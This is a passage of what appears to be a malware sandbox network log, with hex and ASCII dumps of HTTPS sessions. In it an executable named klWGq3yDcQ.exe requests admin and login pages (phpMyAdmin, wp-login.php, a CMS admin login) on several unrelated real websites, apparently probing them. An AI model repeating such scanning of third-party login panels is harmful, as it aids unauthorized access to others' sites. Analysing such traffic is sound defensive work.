2023-11-26 05:59:46 UTC	737	IN	Data Raw: 37 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d37<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 Data Ascii: d 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".conc
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 Data Ascii: arvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},sess
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 Data Ascii: g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.split
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 Data Ascii: throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 Data Ascii: .document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator insta
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 74 20 65 3d Data Ascii: },8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){let e=
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a Data Ascii: .length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:
2023-11-26 05:59:46 UTC	1369	IN	Data Raw: 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 Data Ascii: ,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	52390	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	174	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	341	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:46 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 323Connection: closeLocation: http://www.grantstech.io/PhpMyAdmin/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 0
2023-11-26 05:59:46 UTC	323	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/PhpMyAdmin/">here</a>.</p><hr><address>Apache/2.4.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	52352	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	167	OUT	GET / HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	378	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, m
2023-11-26 05:59:46 UTC	16006	IN	Data Raw: 61 39 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e5 a4 a7 e6 98 ad e5 b7 a5 e6 a5 ad e6 a0 aa e5 bc 8f e4 bc 9a e7 a4 be 20 7c 20 e3 81 94 e3 81 bf e5 8f 8e e9 9b 86 e3 83 bb e6 8e 92 e6 b0 b4 e5 87 a6 e7 90 86 e8 a8 ad e5 82 99 e3 81 ae e7 b6 ad e6 8c 81 e7 ae a1 e7 90 86 20 7c 20 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 e3 83 bb e6 84 9b e7 9f a5 Data Ascii: a996<!DOCTYPE html><html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <title> \| \|
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 6e 6b 5f 5f 64 69 76 20 69 73 2d 64 69 76 34 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 5f 5f 74 78 74 20 69 73 2d 70 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 0a 20 20 20 20 Data Ascii: <div class="is-child2__ul__link__div is-div4"> </div> <p class="is-child2__ul__li__txt is-p4"> <span>
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 73 76 67 22 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 69 6d 67 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 64 69 76 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e8 b3 87 e6 ba 90 e5 be aa e7 92 b0 e4 ba 8b e6 a5 ad 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: svg" class="p-index__business__img1"> </picture> <div class="p-index__business__div1"> <p class="p-index__business__title"> </p>
2023-11-26 05:59:46 UTC	9702	IN	Data Raw: 99 82 e5 a4 9a e9 87 8f e3 81 94 e3 81 bf e3 81 ae e5 8f 8e e9 9b 86 ef bc 88 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 ef bc 89 e3 81 8c e5 a7 8b e3 81 be e3 82 8a e3 81 be e3 81 97 e3 81 9f e3 80 82 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 6e 65 77 73 5f 5f 6c 69 73 74 5f 5f 63 61 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e3 81 8a e7 9f a5 e3 82 89 e3 81 9b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </p> <p class="p-index__news__list__cat">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	52482	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	248	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:46 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	52506	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	250	OUT	GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=qn6eh6oumdk5qmj0m5efhe7rur User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	333	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 78 2d 72 6f 62 6f 74 73 2d 74 61 67 3a 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:46 GMTServer: Apache/2.4.52 (Ubuntu)x-frame-options: SAMEORIGINx-robots-tag: noindex, nofollowvary: X-Forwarded-Protocol,Accept-Encodingcache-control: no-cache, no-store, must-revalidateConnection:
2023-11-26 05:59:46 UTC	7859	IN	Data Raw: 32 61 64 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 